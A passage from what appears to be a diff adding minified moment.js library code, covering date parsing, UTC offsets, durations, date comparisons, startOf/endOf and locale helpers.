e._d = new Date(NaN); + return + } + for (r = 0; r < e._f.length; r++) { + a = 0; + t = M({}, e); + if (e._useUTC != null) { + t._useUTC = e._useUTC + } + t._f = e._f[r]; + Ni(t); + if (!y(t)) { + continue + } + a += _(t).charsLeftOver; + a += _(t).unusedTokens.length * 10; + _(t).score = a; + if (n == null || a < n) { + n = a; + i = t + } + } + m(e, i || t) + } + + function qi(e) { + if (e._d) { + return + } + var t = Z(e._i); + e._a = c([t.year, t.month, t.day || t.date, t.hour, t.minute, t.second, t.millisecond], function (e) { + return e && parseInt(e, 10) + }); + ki(e) + } + + function $i(e) { + var t = new L(bi(Vi(e))); + if (t._nextDay) { + t.add(1, "d"); + t._nextDay = undefined + } + return t + } + + function Vi(e) { + var t = e._i, + i = e._f; + e._locale = e._locale || gi(e._l); + if (t === null || i === undefined && t === "") { + return b({ + nullInput: true + }) + } + if (typeof t === "string") { + e._i = t = e._locale.preparse(t) + } + if (T(t)) { + return new L(bi(t)) + } else if (f(t)) { + e._d = t + } else if (s(i)) { + Bi(e) + } else if (i) { + Ni(e) + } else { + Gi(e) + } + if (!y(e)) { + e._d = null + } + return e + } + + function Gi(e) { + var t = e._i; + if (u(t)) { + e._d = new Date(r.now()) + } else if (f(t)) { + e._d = new Date(t.valueOf()) + } else if (typeof t === "string") { + Ri(e) + } else if (s(t)) { + e._a = c(t.slice(0), function (e) { + return parseInt(e, 10) + }); + ki(e) + } else if (o(t)) { + qi(e) + } else if (d(t)) { + e._d = new Date(t) + } else { + r.createFromInputFallback(e) + } + } + + function Ui(e, t, i, n, r) { + var a = {}; + if (i === true || i === false) { + n = i; + i = undefined + } + if (o(e) && l(e) || s(e) && e.length === 0) { + e = undefined + } + a._isAMomentObject = true; + a._useUTC = a._isUTC = r; + a._l = i; + a._i = e; + a._f = t; + a._strict = n; + return $i(a) + } + + function Xi(e, t, i, n) { + return Ui(e, t, i, n, false) + } + var Ji = E("moment().min is deprecated, use moment.max instead. http://momentjs.com/guides/#/warnings/min-max/", function () { + var e = Xi.apply(null, arguments); + if (this.isValid() && e.isValid()) { + return e < this ? this : e + } else { + return b() + } + }); + var Ki = E("moment().max is deprecated, use moment.min instead. http://momentjs.com/guides/#/warnings/min-max/", function () { + var e = Xi.apply(null, arguments); + if (this.isValid() && e.isValid()) { + return e > this ? this : e + } else { + return b() + } + }); + + function Qi(e, t) { + var i, n; + if (t.length === 1 && s(t[0])) { + t = t[0] + } + if (!t.length) { + return Xi() + } + i = t[0]; + for (n = 1; n < t.length; ++n) { + if (!t[n].isValid() || t[n][e](i)) { + i = t[n] + } + } + return i + } + + function Zi() { + var e = [].slice.call(arguments, 0); + return Qi("isBefore", e) + } + + function en() { + var e = [].slice.call(arguments, 0); + return Qi("isAfter", e) + } + var tn = function () { + return Date.now ? Date.now() : +new Date + }; + var nn = ["year", "quarter", "month", "week", "day", "hour", "minute", "second", "millisecond"]; + + function rn(e) { + for (var t in e) { + if (!(rt.call(nn, t) !== -1 && (e[t] == null || !isNaN(e[t])))) { + return false + } + } + var i = false; + for (var n = 0; n < nn.length; ++n) { + if (e[nn[n]]) { + if (i) { + return false + } + if (parseFloat(e[nn[n]]) !== S(e[nn[n]])) { + i = true + } + } + } + return true + } + + function an() { + return this._isValid + } + + function sn() { + return Yn(NaN) + } + + function on(e) { + var t = Z(e), + i = t.year || 0, + n = t.quarter || 0, + r = t.month || 0, + a = t.week || t.isoWeek || 0, + s = t.day || 0, + o = t.hour || 0, + l = t.minute || 0, + u = t.second || 0, + d = t.millisecond || 0; + this._isValid = rn(t); + this._milliseconds = +d + u * 1e3 + l * 6e4 + o * 1e3 * 60 * 60; + this._days = +s + a * 7; + this._months = +r + n * 3 + i * 12; + this._data = {}; + this._locale = gi(); + this._bubble() + } + + function ln(e) { + return e instanceof on + } + + function un(e) { + if (e < 0) { + return Math.round(-1 * e) * -1 + } else { + return Math.round(e) + } + } + + function dn(e, t) { + le(e, 0, 0, function () { + var e = this.utcOffset(); + var i = "+"; + if (e < 0) { + e = -e; + i = "-" + } + return i + ne(~~(e / 60), 2) + t + ne(~~e % 60, 2) + }) + } + dn("Z", ":"); + dn("ZZ", ""); + Ce("Z", Se); + Ce("ZZ", Se); + He(["Z", "ZZ"], function (e, t, i) { + i._useUTC = true; + i._tzm = cn(Se, e) + }); + var fn = /([\+\-]|\d\d)/gi; + + function cn(e, t) { + var i = (t || "").match(e); + if (i === null) { + return null + } + var n = i[i.length - 1] || []; + var r = (n + "").match(fn) || ["-", 0, 0]; + var a = +(r[1] * 60) + S(r[2]); + return a === 0 ? 0 : r[0] === "+" ? a : -a + } + + function hn(e, t) { + var i, n; + if (t._isUTC) { + i = t.clone(); + n = (T(e) || f(e) ? e.valueOf() : Xi(e).valueOf()) - i.valueOf(); + i._d.setTime(i._d.valueOf() + n); + r.updateOffset(i, false); + return i + } else { + return Xi(e).local() + } + } + + function mn(e) { + return -Math.round(e._d.getTimezoneOffset() / 15) * 15 + } + r.updateOffset = function () {}; + + function pn(e, t, i) { + var n = this._offset || 0, + a; + if (!this.isValid()) { + return e != null ? this : NaN + } + if (e != null) { + if (typeof e === "string") { + e = cn(Se, e); + if (e === null) { + return this + } + } else if (Math.abs(e) < 16 && !i) { + e = e * 60 + } + if (!this._isUTC && t) { + a = mn(this) + } + this._offset = e; + this._isUTC = true; + if (a != null) { + this.add(a, "m") + } + if (n !== e) { + if (!t || this._changeInProgress) { + An(this, Yn(e - n, "m"), 1, false) + } else if (!this._changeInProgress) { + this._changeInProgress = true; + r.updateOffset(this, true); + this._changeInProgress = null + } + } + return this + } else { + return this._isUTC ? n : mn(this) + } + } + + function vn(e, t) { + if (e != null) { + if (typeof e !== "string") { + e = -e + } + this.utcOffset(e, t); + return this + } else { + return -this.utcOffset() + } + } + + function _n(e) { + return this.utcOffset(0, e) + } + + function gn(e) { + if (this._isUTC) { + this.utcOffset(0, e); + this._isUTC = false; + if (e) { + this.subtract(mn(this), "m") + } + } + return this + } + + function yn() { + if (this._tzm != null) { + this.utcOffset(this._tzm, false, true) + } else if (typeof this._i === "string") { + var e = cn(xe, this._i); + if (e != null) { + this.utcOffset(e) + } else { + this.utcOffset(0, true) + } + } + return this + } + + function bn(e) { + if (!this.isValid()) { + return false + } + e = e ? Xi(e).utcOffset() : 0; + return (this.utcOffset() - e) % 60 === 0 + } + + function wn() { + return this.utcOffset() > this.clone().month(0).utcOffset() || this.utcOffset() > this.clone().month(5).utcOffset() + } + + function Mn() { + if (!u(this._isDSTShifted)) { + return this._isDSTShifted + } + var e = {}; + M(e, this); + e = Vi(e); + if (e._a) { + var t = e._isUTC ? p(e._a) : Xi(e._a); + this._isDSTShifted = this.isValid() && Y(e._a, t.toArray()) > 0 + } else { + this._isDSTShifted = false + } + return this._isDSTShifted + } + + function kn() { + return this.isValid() ? !this._isUTC : false + } + + function Ln() { + return this.isValid() ? this._isUTC : false + } + + function Tn() { + return this.isValid() ? this._isUTC && this._offset === 0 : false + } + var xn = /^(\-|\+)?(?:(\d*)[. ])?(\d+)\:(\d+)(?:\:(\d+)(\.\d*)?)?$/; + var Sn = /^(-|\+)?P(?:([-+]?[0-9,.]*)Y)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)W)?(?:([-+]?[0-9,.]*)D)?(?:T(?:([-+]?[0-9,.]*)H)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)S)?)?$/; + + function Yn(e, t) { + var i = e, + n = null, + r, a, s; + if (ln(e)) { + i = { + ms: e._milliseconds, + d: e._days, + M: e._months + } + } else if (d(e)) { + i = {}; + if (t) { + i[t] = e + } else { + i.milliseconds = e + } + } else if (!!(n = xn.exec(e))) { + r = n[1] === "-" ? -1 : 1; + i = { + y: 0, + d: S(n[Ne]) * r, + h: S(n[We]) * r, + m: S(n[Be]) * r, + s: S(n[qe]) * r, + ms: S(un(n[$e] * 1e3)) * r + } + } else if (!!(n = Sn.exec(e))) { + r = n[1] === "-" ? -1 : 1; + i = { + y: Dn(n[2], r), + M: Dn(n[3], r), + w: Dn(n[4], r), + d: Dn(n[5], r), + h: Dn(n[6], r), + m: Dn(n[7], r), + s: Dn(n[8], r) + } + } else if (i == null) { + i = {} + } else if (typeof i === "object" && ("from" in i || "to" in i)) { + s = Cn(Xi(i.from), Xi(i.to)); + i = {}; + i.ms = s.milliseconds; + i.M = s.months + } + a = new on(i); + if (ln(e) && h(e, "_locale")) { + a._locale = e._locale + } + return a + } + Yn.fn = on.prototype; + Yn.invalid = sn; + + function Dn(e, t) { + var i = e && parseFloat(e.replace(",", ".")); + return (isNaN(i) ? 0 : i) * t + } + + function En(e, t) { + var i = {}; + i.months = t.month() - e.month() + (t.year() - e.year()) * 12; + if (e.clone().add(i.months, "M").isAfter(t)) { + --i.months + } + i.milliseconds = +t - +e.clone().add(i.months, "M"); + return i + } + + function Cn(e, t) { + var i; + if (!(e.isValid() && t.isValid())) { + return { + milliseconds: 0, + months: 0 + } + } + t = hn(t, e); + if (e.isBefore(t)) { + i = En(e, t) + } else { + i = En(t, e); + i.milliseconds = -i.milliseconds; + i.months = -i.months + } + return i + } + + function Pn(e, t) { + return function (i, n) { + var r, a; + if (n !== null && !isNaN(+n)) { + P(t, "moment()." + t + "(period, number) is deprecated. Please use moment()." + t + "(number, period). " + "See http://momentjs.com/guides/#/warnings/add-inverted-param/ for more info."); + a = i; + i = n; + n = a + } + i = typeof i === "string" ? +i : i; + r = Yn(i, n); + An(this, r, e); + return this + } + } + + function An(e, t, i, n) { + var a = t._milliseconds, + s = un(t._days), + o = un(t._months); + if (!e.isValid()) { + return + } + n = n == null ? true : n; + if (o) { + ht(e, Ze(e, "Month") + o * i) + } + if (s) { + et(e, "Date", Ze(e, "Date") + s * i) + } + if (a) { + e._d.setTime(e._d.valueOf() + a * i) + } + if (n) { + r.updateOffset(e, s || o) + } + } + var On = Pn(1, "add"); + var jn = Pn(-1, "subtract"); + + function Hn(e, t) { + var i = e.diff(t, "days", true); + return i < -6 ? "sameElse" : i < -1 ? "lastWeek" : i < 0 ? "lastDay" : i < 1 ? "sameDay" : i < 2 ? "nextDay" : i < 7 ? "nextWeek" : "sameElse" + } + + function In(e, t) { + var i = e || Xi(), + n = hn(i, this).startOf("day"), + a = r.calendarFormat(this, n) || "sameElse"; + var s = t && (A(t[a]) ? t[a].call(this, i) : t[a]); + return this.format(s || this.localeData().calendar(a, this, Xi(i))) + } + + function Fn() { + return new L(this) + } + + function zn(e, t) { + var i = T(e) ? e : Xi(e); + if (!(this.isValid() && i.isValid())) { + return false + } + t = Q(t) || "millisecond"; + if (t === "millisecond") { + return this.valueOf() > i.valueOf() + } else { + return i.valueOf() < this.clone().startOf(t).valueOf() + } + } + + function Rn(e, t) { + var i = T(e) ? e : Xi(e); + if (!(this.isValid() && i.isValid())) { + return false + } + t = Q(t) || "millisecond"; + if (t === "millisecond") { + return this.valueOf() < i.valueOf() + } else { + return this.clone().endOf(t).valueOf() < i.valueOf() + } + } + + function Nn(e, t, i, n) { + var r = T(e) ? e : Xi(e), + a = T(t) ? t : Xi(t); + if (!(this.isValid() && r.isValid() && a.isValid())) { + return false + } + n = n || "()"; + return (n[0] === "(" ? this.isAfter(r, i) : !this.isBefore(r, i)) && (n[1] === ")" ? this.isBefore(a, i) : !this.isAfter(a, i)) + } + + function Wn(e, t) { + var i = T(e) ? e : Xi(e), + n; + if (!(this.isValid() && i.isValid())) { + return false + } + t = Q(t) || "millisecond"; + if (t === "millisecond") { + return this.valueOf() === i.valueOf() + } else { + n = i.valueOf(); + return this.clone().startOf(t).valueOf() <= n && n <= this.clone().endOf(t).valueOf() + } + } + + function Bn(e, t) { + return this.isSame(e, t) || this.isAfter(e, t) + } + + function qn(e, t) { + return this.isSame(e, t) || this.isBefore(e, t) + } + + function $n(e, t, i) { + var n, r, a; + if (!this.isValid()) { + return NaN + } + n = hn(e, this); + if (!n.isValid()) { + return NaN + } + r = (n.utcOffset() - this.utcOffset()) * 6e4; + t = Q(t); + switch (t) { + case "year": + a = Vn(this, n) / 12; + break; + case "month": + a = Vn(this, n); + break; + case "quarter": + a = Vn(this, n) / 3; + break; + case "second": + a = (this - n) / 1e3; + break; + case "minute": + a = (this - n) / 6e4; + break; + case "hour": + a = (this - n) / 36e5; + break; + case "day": + a = (this - n - r) / 864e5; + break; + case "week": + a = (this - n - r) / 6048e5; + break; + default: + a = this - n + } + return i ? a : x(a) + } + + function Vn(e, t) { + var i = (t.year() - e.year()) * 12 + (t.month() - e.month()), + n = e.clone().add(i, "months"), + r, a; + if (t - n < 0) { + r = e.clone().add(i - 1, "months"); + a = (t - n) / (n - r) + } else { + r = e.clone().add(i + 1, "months"); + a = (t - n) / (r - n) + } + return -(i + a) || 0 + } + r.defaultFormat = "YYYY-MM-DDTHH:mm:ssZ"; + r.defaultFormatUtc = "YYYY-MM-DDTHH:mm:ss[Z]"; + + function Gn() { + return this.clone().locale("en").format("ddd MMM DD YYYY HH:mm:ss [GMT]ZZ") + } + + function Un(e) { + if (!this.isValid()) { + return null + } + var t = e !== true; + var i = t ? this.clone().utc() : this; + if (i.year() < 0 || i.year() > 9999) { + return fe(i, t ? "YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]" : "YYYYYY-MM-DD[T]HH:mm:ss.SSSZ") + } + if (A(Date.prototype.toISOString)) { + if (t) { + return this.toDate().toISOString() + } else { + return new Date(this.valueOf() + this.utcOffset() * 60 * 1e3).toISOString().replace("Z", fe(i, "Z")) + } + } + return fe(i, t ? "YYYY-MM-DD[T]HH:mm:ss.SSS[Z]" : "YYYY-MM-DD[T]HH:mm:ss.SSSZ") + } + + function Xn() { + if (!this.isValid()) { + return "moment.invalid(/* " + this._i + " */)" + } + var e = "moment"; + var t = ""; + if (!this.isLocal()) { + e = this.utcOffset() === 0 ? "moment.utc" : "moment.parseZone"; + t = "Z" + } + var i = "[" + e + '("]'; + var n = 0 <= this.year() && this.year() <= 9999 ? "YYYY" : "YYYYYY"; + var r = "-MM-DD[T]HH:mm:ss.SSS"; + var a = t + '[")]'; + return this.format(i + n + r + a) + } + + function Jn(e) { + if (!e) { + e = this.isUtc() ? r.defaultFormatUtc : r.defaultFormat + } + var t = fe(this, e); + return this.localeData().postformat(t) + } + + function Kn(e, t) { + if (this.isValid() && (T(e) && e.isValid() || Xi(e).isValid())) { + return Yn({ + to: this, + from: e + }).locale(this.locale()).humanize(!t) + } else { + return this.localeData().invalidDate() + } + } + + function Qn(e) { + return this.from(Xi(), e) + } + + function Zn(e, t) { + if (this.isValid() && (T(e) && e.isValid() || Xi(e).isValid())) { + return Yn({ + from: this, + to: e + }).locale(this.locale()).humanize(!t) + } else { + return this.localeData().invalidDate() + } + } + + function er(e) { + return this.to(Xi(), e) + } + + function tr(e) { + var t; + if (e === undefined) { + return this._locale._abbr + } else { + t = gi(e); + if (t != null) { + this._locale = t + } + return this + } + } + var ir = E("moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.", function (e) { + if (e === undefined) { + return this.localeData() + } else { + return this.locale(e) + } + }); + + function nr() { + return this._locale + } + var rr = 1e3; + var ar = 60 * rr; + var sr = 60 * ar; + var or = (365 * 400 + 97) * 24 * sr; + + function lr(e, t) { + return (e % t + t) % t + } + + function ur(e, t, i) { + if (e < 100 && e >= 0) { + return new Date(e + 400, t, i) - or + } else { + return new Date(e, t, i).valueOf() + } + } + + function dr(e, t, i) { + if (e < 100 && e >= 0) { + return Date.UTC(e + 400, t, i) - or + } else { + return Date.UTC(e, t, i) + } + } + + function fr(e) { + var t; + e = Q(e); + if (e === undefined || e === "millisecond" || !this.isValid()) { + return this + } + var i = this._isUTC ? dr : ur; + switch (e) { + case "year": + t = i(this.year(), 0, 1); + break; + case "quarter": + t = i(this.year(), this.month() - this.month() % 3, 1); + break; + case "month": + t = i(this.year(), this.month(), 1); + break; + case "week": + t = i(this.year(), this.month(), this.date() - this.weekday()); + break; + case "isoWeek": + t = i(this.year(), this.month(), this.date() - (this.isoWeekday() - 1)); + break; + case "day": + case "date": + t = i(this.year(), this.month(), this.date()); + break; + case "hour": + t = this._d.valueOf(); + t -= lr(t + (this._isUTC ? 0 : this.utcOffset() * ar), sr); + break; + case "minute": + t = this._d.valueOf(); + t -= lr(t, ar); + break; + case "second": + t = this._d.valueOf(); + t -= lr(t, rr); + break + } + this._d.setTime(t); + r.updateOffset(this, true); + return this + } + + function cr(e) { + var t; + e = Q(e); + if (e === undefined || e === "millisecond" || !this.isValid()) { + return this + } + var i = this._isUTC ? dr : ur; + switch (e) { + case "year": + t = i(this.year() + 1, 0, 1) - 1; + break; + case "quarter": + t = i(this.year(), this.month() - this.month() % 3 + 3, 1) - 1; + break; + case "month": + t = i(this.year(), this.month() + 1, 1) - 1; + break; + case "week": + t = i(this.year(), this.month(), this.date() - this.weekday() + 7) - 1; + break; + case "isoWeek": + t = i(this.year(), this.month(), this.date() - (this.isoWeekday() - 1) + 7) - 1; + break; + case "day": + case "date": + t = i(this.year(), this.month(), this.date() + 1) - 1; + break; + case "hour": + t = this._d.valueOf(); + t += sr - lr(t + (this._isUTC ? 0 : this.utcOffset() * ar), sr) - 1; + break; + case "minute": + t = this._d.valueOf(); + t += ar - lr(t, ar) - 1; + break; + case "second": + t = this._d.valueOf(); + t += rr - lr(t, rr) - 1; + break + } + this._d.setTime(t); + r.updateOffset(this, true); + return this + } + + function hr() { + return this._d.valueOf() - (this._offset || 0) * 6e4 + } + + function mr() { + return Math.floor(this.valueOf() / 1e3) + } + + function pr() { + return new Date(this.valueOf()) + } + + function vr() { + var e = this; + return [e.year(), e.month(), e.date(), e.hour(), e.minute(), e.second(), e.millisecond()] + } + + function _r() { + var e = this; + return { + years: e.year(), + months: e.month(), + date: e.date(), + hours: e.hours(), + minutes: e.minutes(), + seconds: e.seconds(), + milliseconds: e.milliseconds() + } + } + + function gr() { + return this.isValid() ? this.toISOString() : null + } + + function yr() { + return y(this) + } + + function br() { + return m({}, _(this)) + } + + function wr() { + return _(this).overflow + } + + function Mr() { + return { + input: this._i, + format: this._f, + locale: this._locale, + isUTC: this._isUTC, + strict: this._strict + } + } + le(0, ["gg", 2], 0, function () { + return this.weekYear() % 100 + }); + le(0, ["GG", 2], 0, function () { + return this.isoWeekYear() % 100 + }); + + function kr(e, t) { + le(0, [e, e.length], 0, t) + } + kr("gggg", "weekYear"); + kr("ggggg", "weekYear"); + kr("GGGG", "isoWeekYear"); + kr("GGGGG", "isoWeekYear"); + K("weekYear", "gg"); + K("isoWeekYear", "GG"); + te("weekYear", 1); + te("isoWeekYear", 1); + Ce("G", Te); + Ce("g", Te); + Ce("GG", ge, me); + Ce("gg", ge, me); + Ce("GGGG", Me, ve); + Ce("gggg", Me, ve); + Ce("GGGGG", ke, _e); + Ce("ggggg", ke, _e); + Ie(["gggg", "ggggg", "GGGG", "GGGGG"], function (e, t, i, n) { + t[n.substr(0, 2)] = S(e) + }); + Ie(["gg", "GG"], function (e, t, i, n) { + t[n] = r.parseTwoDigitYear(e) + }); + + function Lr(e) { + return Yr.call(this, e, this.week(), this.weekday(), this.localeData()._week.dow, this.localeData()._week.doy) + } + + function Tr(e) { + return Yr.call(this, e, this.isoWeek(), this.isoWeekday(), 1, 4) + } + + function xr() { + return xt(this.year(), 1, 4) + } + + function Sr() { + var e = this.localeData()._week; + return xt(this.year(), e.dow, e.doy) + } + + function Yr(e, t, i, n, r) { + var a; + if (e == null) { + return Tt(this, n, r).year + } else { + a = xt(e, n, r); + if (t > a) { + t = a + } + return Dr.call(this, e, t, i, n, r) + } + } + + function Dr(e, t, i, n, r) { + var a = Lt(e, t, i, n, r), + s = Mt(a.year, 0, a.dayOfYear); + this.year(s.getUTCFullYear()); + this.month(s.getUTCMonth()); + this.date(s.getUTCDate()); + return this + } + le("Q", 0, "Qo", "quarter"); + K("quarter", "Q"); + te("quarter", 7); + Ce("Q", he); + He("Q", function (e, t) { + t[Re] = (S(e) - 1) * 3 + }); + + function Er(e) { + return e == null ? Math.ceil((this.month() + 1) / 3) : this.month((e - 1) * 3 + this.month() % 3) + } + le("D", ["DD", 2], "Do", "date"); + K("date", "D"); + te("date", 9); + Ce("D", ge); + Ce("DD", ge, me); + Ce("Do", function (e, t) { + return e ? t._dayOfMonthOrdinalParse || t._ordinalParse : t._dayOfMonthOrdinalParseLenient + }); + He(["D", "DD"], Ne); + He("Do", function (e, t) { + t[Ne] = S(e.match(ge)[0]) + }); + var Cr = Qe("Date", true); + le("DDD", ["DDDD", 3], "DDDo", "dayOfYear"); + K("dayOfYear", "DDD"); + te("dayOfYear", 4); + Ce("DDD", we); + Ce("DDDD", pe); + He(["DDD", "DDDD"], function (e, t, i) { + i._dayOfYear = S(e) + }); + + function Pr(e) { + var t = Math.round((this.clone().startOf("day") - this.clone().startOf("year")) / 864e5) + 1; + return e == null ? t : this.add(e - t, "d") + } + le("m", ["mm", 2], 0, "minute"); + K("minute", "m"); + te("minute", 14); + Ce("m", ge); + Ce("mm", ge, me); + He(["m", "mm"], Be); + var Ar = Qe("Minutes", false); + le("s", ["ss", 2], 0, "second"); + K("second", "s"); + te("second", 15); + Ce("s", ge); + Ce("ss", ge, me); + He(["s", "ss"], qe); + var Or = Qe("Seconds", false); + le("S", 0, 0, function () { + return ~~(this.millisecond() / 100) + }); + le(0, ["SS", 2], 0, function () { + return ~~(this.millisecond() / 10) + }); + le(0, ["SSS", 3], 0, "millisecond"); + le(0, ["SSSS", 4], 0, function () { + return this.millisecond() * 10 + }); + le(0, ["SSSSS", 5], 0, function () { + return this.millisecond() * 100 + }); + le(0, ["SSSSSS", 6], 0, function () { + return this.millisecond() * 1e3 + }); + le(0, ["SSSSSSS", 7], 0, function () { + return this.millisecond() * 1e4 + }); + le(0, ["SSSSSSSS", 8], 0, function () { + return this.millisecond() * 1e5 + }); + le(0, ["SSSSSSSSS", 9], 0, function () { + return this.millisecond() * 1e6 + }); + K("millisecond", "ms"); + te("millisecond", 16); + Ce("S", we, he); + Ce("SS", we, me); + Ce("SSS", we, pe); + var jr; + for (jr = "SSSS"; jr.length <= 9; jr += "S") { + Ce(jr, Le) + } + + function Hr(e, t) { + t[$e] = S(("0." + e) * 1e3) + } + for (jr = "S"; jr.length <= 9; jr += "S") { + He(jr, Hr) + } + var Ir = Qe("Milliseconds", false); + le("z", 0, 0, "zoneAbbr"); + le("zz", 0, 0, "zoneName"); + + function Fr() { + return this._isUTC ? "UTC" : "" + } + + function zr() { + return this._isUTC ? "Coordinated Universal Time" : "" + } + var Rr = L.prototype; + Rr.add = On; + Rr.calendar = In; + Rr.clone = Fn; + Rr.diff = $n; + Rr.endOf = cr; + Rr.format = Jn; + Rr.from = Kn; + Rr.fromNow = Qn; + Rr.to = Zn; + Rr.toNow = er; + Rr.get = tt; + Rr.invalidAt = wr; + Rr.isAfter = zn; + Rr.isBefore = Rn; + Rr.isBetween = Nn; + Rr.isSame = Wn; + Rr.isSameOrAfter = Bn; + Rr.isSameOrBefore = qn; + Rr.isValid = yr; + Rr.lang = ir; + Rr.locale = tr; + Rr.localeData = nr; + Rr.max = Ki; + Rr.min = Ji; + Rr.parsingFlags = br; + Rr.set = it; + Rr.startOf = fr; + Rr.subtract = jn; + Rr.toArray = vr; + Rr.toObject = _r; + Rr.toDate = pr; + Rr.toISOString = Un; + Rr.inspect = Xn; + Rr.toJSON = gr; + Rr.toString = Gn; + Rr.unix = mr; + Rr.valueOf = hr; + Rr.creationData = Mr; + Rr.year = Je; + Rr.isLeapYear = Ke; + Rr.weekYear = Lr; + Rr.isoWeekYear = Tr; + Rr.quarter = Rr.quarters = Er; + Rr.month = mt; + Rr.daysInMonth = pt; + Rr.week = Rr.weeks = Ct; + Rr.isoWeek = Rr.isoWeeks = Pt; + Rr.weeksInYear = Sr; + Rr.isoWeeksInYear = xr; + Rr.date = Cr; + Rr.day = Rr.days = qt; + Rr.weekday = $t; + Rr.isoWeekday = Vt; + Rr.dayOfYear = Pr; + Rr.hour = Rr.hours = oi; + Rr.minute = Rr.minutes = Ar; + Rr.second = Rr.seconds = Or; + Rr.millisecond = Rr.milliseconds = Ir; + Rr.utcOffset = pn; + Rr.utc = _n; + Rr.local = gn; + Rr.parseZone = yn; + Rr.hasAlignedHourOffset = bn; + Rr.isDST = wn; + Rr.isLocal = kn; + Rr.isUtcOffset = Ln; + Rr.isUtc = Tn; + Rr.isUTC = Tn; + Rr.zoneAbbr = Fr; + Rr.zoneName = zr; + Rr.dates = E("dates accessor is deprecated. Use date instead.", Cr); + Rr.months = E("months accessor is deprecated. Use month instead", mt); + Rr.years = E("years accessor is deprecated. Use year instead", Je); + Rr.zone = E("moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/", vn); + Rr.isDSTShifted = E("isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information", Mn); + + function Nr(e) { + return Xi(e * 1e3) + } + + function Wr() { + return Xi.apply(null, arguments).parseZone() + } + + function Br(e) { + return e + } + var qr = H.prototype; + qr.calendar = z; + qr.longDateFormat = N; + qr.invalidDate = B; + qr.ordinal = V; + qr.preparse = Br; + qr.postformat = Br; + qr.relativeTime = U; + qr.pastFuture = X; + qr.set = O; + qr.months = lt; + qr.monthsShort = dt; + qr.monthsParse = ct; + qr.monthsRegex = yt; + qr.monthsShortRegex = _t; + qr.week = St; + qr.firstDayOfYear = Et; + qr.firstDayOfWeek = Dt; + qr.weekdays = It; + qr.weekdaysMin = Nt; + qr.weekdaysShort = zt; + qr.weekdaysParse = Bt; + qr.weekdaysRegex = Ut; + qr.weekdaysShortRegex = Jt; + qr.weekdaysMinRegex = Qt; + qr.isPM = ri; + qr.meridiem = si; + + function $r(e, t, i, n) { + var r = gi(); + var a = p().set(n, t); + return r[i](a, e) + } + + function Vr(e, t, i) { + if (d(e)) { + t = e; + e = undefined + } + e = e || ""; + if (t != null) { + return $r(e, t, i, "month") + } + var n; + var r = []; + for (n = 0; n < 12; n++) { + r[n] = $r(e, n, i, "month") + } + return r + } + + function Gr(e, t, i, n) { + if (typeof e === "boolean") { + if (d(t)) { + i = t; + t = undefined + } + t = t || "" + } else { + t = e; + i = t; + e = false; + if (d(t)) { + i = t; + t = undefined + } + t = t || "" + } + var r = gi(), + a = e ? r._week.dow : 0; + if (i != null) { + return $r(t, (i + a) % 7, n, "day") + } + var s; + var o = []; + for (s = 0; s < 7; s++) { + o[s] = $r(t, (s + a) % 7, n, "day") + } + return o + } + + function Ur(e, t) { + return Vr(e, t, "months") + } + + function Xr(e, t) { + return Vr(e, t, "monthsShort") + } + + function Jr(e, t, i) { + return Gr(e, t, i, "weekdays") + } + + function Kr(e, t, i) { + return Gr(e, t, i, "weekdaysShort") + } + + function Qr(e, t, i) { + return Gr(e, t, i, "weekdaysMin") + } + pi("en", { + dayOfMonthOrdinalParse: /\d{1,2}(th|st|nd|rd)/, + ordinal: function (e) { + var t = e % 10, + i = S(e % 100 / 10) === 1 ? "th" : t === 1 ? "st" : t === 2 ? "nd" : t === 3 ? "rd" : "th"; + return e + i + } + }); + r.lang = E("moment.lang is deprecated. Use moment.locale instead.", pi); + r.langData = E("moment.langData is deprecated. Use moment.localeData instead.", gi); + var Zr = Math.abs; + + function ea() { + var e = this._data; + this._milliseconds = Zr(this._milliseconds); + this._days = Zr(this._days); + this._months = Zr(this._months); + e.milliseconds = Zr(e.milliseconds); + e.seconds = Zr(e.seconds); + e.minutes = Zr(e.minutes); + e.hours = Zr(e.hours); + e.months = Zr(e.months); + e.years = Zr(e.years); + return this + } + + function ta(e, t, i, n) { + var r = Yn(t, i); + e._milliseconds += n * r._milliseconds; + e._days += n * r._days; + e._months += n * r._months; + return e._bubble() + } + + function ia(e, t) { + return ta(this, e, t, 1) + } + + function na(e, t) { + return ta(this, e, t, -1) + } + + function ra(e) { + if (e < 0) { + return Math.floor(e) + } else { + return Math.ceil(e) + } + } + + function aa() { + var e = this._milliseconds; + var t = this._days; + var i = this._months; + var n = this._data; + var r, a, s, o, l; + if (!(e >= 0 && t >= 0 && i >= 0 || e <= 0 && t <= 0 && i <= 0)) { + e += ra(oa(i) + t) * 864e5; + t = 0; + i = 0 + } + n.milliseconds = e % 1e3; + r = x(e / 1e3); + n.seconds = r % 60; + a = x(r / 60); + n.minutes = a % 60; + s = x(a / 60); + n.hours = s % 24; + t += x(s / 24); + l = x(sa(t)); + i += l; + t -= ra(oa(l)); + o = x(i / 12); + i %= 12; + n.days = t; + n.months = i; + n.years = o; + return this + } + + function sa(e) { + return e * 4800 / 146097 + } + + function oa(e) { + return e * 146097 / 4800 + } + + function la(e) { + if (!this.isValid()) { + return NaN + } + var t; + var i; + var n = this._milliseconds; + e = Q(e); + if (e === "month" || e === "quarter" || e === "year") { + t = this._days + n / 864e5; + i = this._months + sa(t); + switch (e) { + case "month": + return i; + case "quarter": + return i / 3; + case "year": + return i / 12 + } + } else { + t = this._days + Math.round(oa(this._months)); + switch (e) { + case "week": + return t / 7 + n / 6048e5; + case "day": + return t + n / 864e5; + case "hour": + return t * 24 + n / 36e5; + case "minute": + return t * 1440 + n / 6e4; + case "second": + return t * 86400 + n / 1e3; + case "millisecond": + return Math.floor(t * 864e5) + n; + default: + throw new Error("Unknown unit " + e) + } + } + } + + function ua() { + if (!this.isValid()) { + return NaN + } + return this._milliseconds + this._days * 864e5 + this._months % 12 * 2592e6 + S(this._months / 12) * 31536e6 + } + + function da(e) { + return function () { + return this.as(e) + } + } + var fa = da("ms"); + var ca = da("s"); + var ha = da("m"); + var ma = da("h"); + var pa = da("d"); + var va = da("w"); + var _a = da("M"); + var ga = da("Q"); + var ya = da("y"); + + function ba() { + return Yn(this) + } + + function wa(e) { + e 